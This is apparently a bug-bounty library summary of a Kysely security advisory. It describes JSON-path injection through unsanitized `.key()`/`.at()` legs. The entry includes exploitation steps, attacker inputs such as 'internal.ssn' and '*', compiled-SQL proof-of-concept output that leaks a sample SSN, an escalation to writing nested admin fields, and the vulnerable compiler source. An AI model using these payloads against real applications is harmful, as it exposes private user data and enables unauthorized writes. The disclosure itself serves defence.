# Kysely: JSON-path traversal injection via unsanitized path-leg metacharacters in `JSONPathBuilder.key()` / `.at()`

Kysely's JSONPathBuilder.key()/at() only escaped single quotes, so dots and wildcards in attacker input traverse into sibling/nested JSON fields, leaking SSNs and tokens.

- Payout: Research
- Severity: high
- Program: Kysely
- Found by: StarPlatinu
- Disclosed: 2026-05-11
- CVE: CVE-2026-44635
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-pv5w-4p9q-p3v2
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-pv5w-4p9q-p3v2
- Tags: area:oss domain:oss impact:data-leak impact:pii-leak kind:research platform:ghsa sev:high tech:nodejs technique:incomplete-fix technique:source-review vuln:path-traversal

**Target:** TypeScript SQL query builder JSON-path compiler (MySQL/PostgreSQL/SQLite dialects)
**Root cause:** visitJSONPathLeg runs user-supplied path legs through sanitizeStringLiteral, which only doubles single quotes and leaves JSON-path metacharacters (`.`, `[`, `]`, `*`, `**`, `?`) intact, so dots become path-leg separators.
**Steps:**
1. Type the JSON column as `Record<string, T>` so `.key(K)` infers `K = string`, making attacker input type-safe.
2. Pass attacker input into `eb.ref('profile', '->>$').key(userInput)`.
3. Compile: `key('internal.ssn')` emits `"profile"->>'$.internal.ssn'` instead of a single leg.
4. Execute against SQLite/MySQL/PG `->$` and read nested `internal.ssn`, `internal.token`, `internal.admin`.
5. On MySQL use `key('*')` → `'$.*'` to enumerate all siblings, or `.at('...]')` to break out of the bracket.
**How found:** Reviewed the fix commit 0a602bf for CVE-2026-44635 and noticed it only escaped `'`; hypothesized the JSON-path mini-language metacharacters were overlooked, then compiled queries across all three dialects to confirm dots split legs.
**Exploitation:** Any endpoint where a request-derived string reaches `.key()`/`.at()` (filter-by-field, dynamic select) lets the attacker supply `internal.ssn` or `*` to read nested JSON members the developer never exposed; same compiler path in update statements allows writing nested fields like an admin flag.
**Escalation:** Wildcards `*`/`**` enumerate or recurse the whole document in one query; update statements extend read traversal to unauthorized writes on nested fields.
**Insight:** When a prior fix sanitizes only the SQL string-literal delimiter, check the embedded sub-language's own grammar (JSON-path `. [ ] * ** ?`) — and note that `Record<string, T>` columns make `.key()` accept arbitrary strings type-safely, widening the surface beyond `Kysely<any>`.

## Proof of concept (copied exactly from the original report)

**SQLite end-to-end disclosure of nested internal.ssn via dot injection**

```
async function fetchProfileField(userInput) {
  return db.selectFrom('me')
    .select(eb => eb.ref('profile', '->>$').key(userInput).as('value'))
    .where('id', '=', 1)
    .execute()
}

The `me.profile` JSON column for user 1 is:

{
  "nick": "alice",
  "tagline": "hi",
  "internal": {
    "ssn": "111-11-1111",
    "token": "tok_abcdef",
    "admin": true
  }
}

The developer's intent: only top-level keys (`nick`, `tagline`) are ever requested. `internal` is private bookkeeping.

$ node sqlite-runtime.mjs
===== Legitimate request =====
userInput = "nick"
  compiled SQL:  select "profile"->>'$.nick' as "value" from "me" where "id" = ?
  result:        [ { value: 'alice' } ]

===== Injection: dot lets attacker reach nested "internal" object =====
userInput = "internal.ssn"
  compiled SQL:  select "profile"->>'$.internal.ssn' as "value" from "me" where "id" = ?
  result:        [ { value: '111-11-1111' } ]
```

**Compiled-SQL injection evidence across MySQL/PostgreSQL/SQLite**

```
$ node poc.mjs
===== MySQL =====

--- baseline: .key("nick") ---
SQL:     select `profile`->'$.nick' as `out` from `person`

--- INJECTION via .key(ATTACKER) -- "nick.secret_field" ---
SQL:     select `profile`->'$.nick.secret_field' as `out` from `person`

--- INJECTION via .key("*") -- wildcard reaches all keys ---
SQL:     select `profile`->'$.*' as `out` from `person`

--- INJECTION via .at(ATTACKER3) -- bracket escape ---
SQL:     select `profile`->'$[].secret]' as `out` from `person`

===== PostgreSQL (->$ uses jsonpath, MySQL-like) =====

--- baseline: .key("nick") ---
SQL:     select "profile"->'$.nick' as "out" from "person"

--- INJECTION via .key(ATTACKER) ---
SQL:     select "profile"->'$.nick.secret_field' as "out" from "person"

===== SQLite =====

--- baseline: .key("nick") ---
SQL:     select "profile"->>'$.nick' as "value" from "person"

--- INJECTION via .key(ATTACKER) ---
SQL:     select "profile"->>'$.nick.secret_field' as "out" from "person"

--- INJECTION via .key("*") ---
SQL:     select "profile"->>'$.*' as "out" from "person"
```

**Vulnerable visitJSONPathLeg and sanitizeStringLiteral source**

```
protected override visitJSONPathLeg(node: JSONPathLegNode): void {
  const isArrayLocation = node.type === 'ArrayLocation'

  this.append(isArrayLocation ? '[' : '.')      // (1)

  this.append(
    typeof node.value === 'string'
      ? this.sanitizeStringLiteral(node.value)  // (2)
      : String(node.value),
  )

  if (isArrayLocation) {
    this.append(']')
  }
}

`src/query-compiler/default-query-compiler.ts:1821-1823`:

protected sanitizeStringLiteral(value: string): string {
  return value.replace(LIT_WRAP_REGEX, "''")    // (3)
```

